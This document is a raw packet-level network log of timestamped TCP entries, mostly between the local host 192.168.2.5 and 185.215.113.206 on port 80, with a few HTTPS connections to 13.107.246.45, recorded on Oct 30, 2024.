Oct 30, 2024 23:11:54.198919058 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.198929071 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.198930025 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.198964119 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.198976040 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.199084997 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.199126959 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.199161053 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.199173927 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.199213028 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.199306965 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.199326992 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.199337959 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.199351072 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.199354887 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.199404001 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.199404001 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.199507952 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.199522972 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.199563980 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.199598074 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.199636936 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.199650049 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.199662924 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.199673891 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.199693918 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.199721098 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.199806929 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.199819088 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.199829102 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.199843884 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.199852943 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.199879885 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.199902058 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.200076103 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200088024 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200100899 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200113058 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200124979 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.200128078 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200140953 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200144053 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.200180054 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.200321913 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200368881 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.200397015 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200409889 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200442076 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.200534105 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200546026 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200561047 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200573921 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200579882 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.200604916 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.200629950 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.200838089 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200850964 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200861931 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200875044 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200880051 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.200887918 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200891018 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.200905085 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200920105 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200926065 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.200943947 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200959921 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.200965881 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.200999022 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.201263905 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.201312065 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.310317039 CET	443	50023	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.310753107 CET	443	50023	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.310854912 CET	50023	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.310892105 CET	50023	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.310911894 CET	443	50023	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.310925007 CET	50023	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.310930967 CET	443	50023	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.313757896 CET	50028	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.313796043 CET	443	50028	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.313860893 CET	50028	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.314028978 CET	50028	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.314043045 CET	443	50028	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.316386938 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.316416979 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.316428900 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.316454887 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.316474915 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.316662073 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.316718102 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.316719055 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.316730976 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.316759109 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.316782951 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.316864967 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.316881895 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.316900969 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.316909075 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.316941977 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.316968918 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.320528984 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.320581913 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.321127892 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321157932 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321171045 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321181059 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321192980 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321193933 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.321204901 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321229935 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321240902 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.321248055 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321259022 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321261883 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.321270943 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321283102 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321291924 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.321294069 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321307898 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321320057 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321322918 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.321331978 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321337938 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.321367979 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.321378946 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321392059 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321403027 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321413040 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.321414948 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321428061 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321439028 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321443081 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321445942 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.321449995 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321475029 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.321491003 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321502924 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321511984 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.321515083 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321527958 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321540117 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321551085 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321551085 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.321564913 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321573019 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.321578026 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321589947 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321598053 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.321600914 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321607113 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.321608067 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321614981 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321650982 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321669102 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321669102 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.321683884 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321697950 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321702957 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321708918 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321710110 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.321715117 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321727037 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.321753025 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.321779013 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.322462082 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.322520971 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.322532892 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.322551012 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.322578907 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.322578907 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.322616100 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.322642088 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.322654963 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.322679996 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.322693110 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.322760105 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.322772980 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.322786093 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.322798014 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.322812080 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.322845936 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.322887897 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.322937965 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.322954893 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.322967052 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.322974920 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.322990894 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.323016882 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.335232019 CET	443	50024	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.335680962 CET	50024	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.335700035 CET	443	50024	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.336191893 CET	50024	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.336196899 CET	443	50024	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.395201921 CET	443	50026	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.395644903 CET	50026	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.395668030 CET	443	50026	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.396187067 CET	50026	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.396192074 CET	443	50026	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.434500933 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.434518099 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.434529066 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.434540033 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.434595108 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.434633970 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.434796095 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.434843063 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.434854984 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.434868097 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.434876919 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.434911013 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.434973955 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.434986115 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.434995890 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.435017109 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.435043097 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.435822010 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.435875893 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.435888052 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.435900927 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.435909986 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.435933113 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.435995102 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436007023 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436042070 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.436120987 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436134100 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436145067 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436160088 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436167955 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.436187983 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.436228037 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.436367989 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436379910 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436389923 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436402082 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436413050 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436419964 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436422110 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.436449051 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.436464071 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.436646938 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436660051 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436669111 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436700106 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.436721087 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.436774969 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436789036 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436799049 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436809063 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436835051 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.436860085 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.436928034 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.436978102 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.437026978 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437040091 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437052965 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437063932 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437077045 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437078953 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.437119961 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.437127113 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437180042 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.437180042 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.437275887 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437300920 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437324047 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.437340021 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.437385082 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437397003 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437410116 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437433004 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.437458038 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.437597990 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437608957 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437618971 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437630892 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437642097 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.437643051 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437659025 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437670946 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.437674999 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437685013 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.437720060 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.437920094 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437932968 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437942982 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437957048 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437968969 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.437978983 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.437999964 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.438015938 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.438178062 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.438198090 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.438210011 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.438221931 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.438234091 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.438250065 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.438278913 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.438515902 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.438527107 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.438538074 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.438550949 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.438560963 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.438570023 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.438574076 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.438585997 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.438589096 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.438602924 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.438724041 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.438724995 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.438724995 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.448204041 CET	443	50025	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.448664904 CET	50025	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.448709965 CET	443	50025	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.449090004 CET	50025	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.449095964 CET	443	50025	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.461955070 CET	443	50027	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.462335110 CET	50027	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.462346077 CET	443	50027	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.462830067 CET	50027	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.462833881 CET	443	50027	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.469377041 CET	443	50024	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.469403028 CET	443	50024	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.469449043 CET	443	50024	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.469475985 CET	50024	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.469516039 CET	50024	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.469708920 CET	50024	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.469726086 CET	443	50024	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.469734907 CET	50024	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.469739914 CET	443	50024	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.472706079 CET	50029	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.472747087 CET	443	50029	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.472846985 CET	50029	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.472965956 CET	50029	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.472980022 CET	443	50029	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.482671022 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.482749939 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.482752085 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.482793093 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.482798100 CET	80	49980	185.215.113.206	192.168.2.5
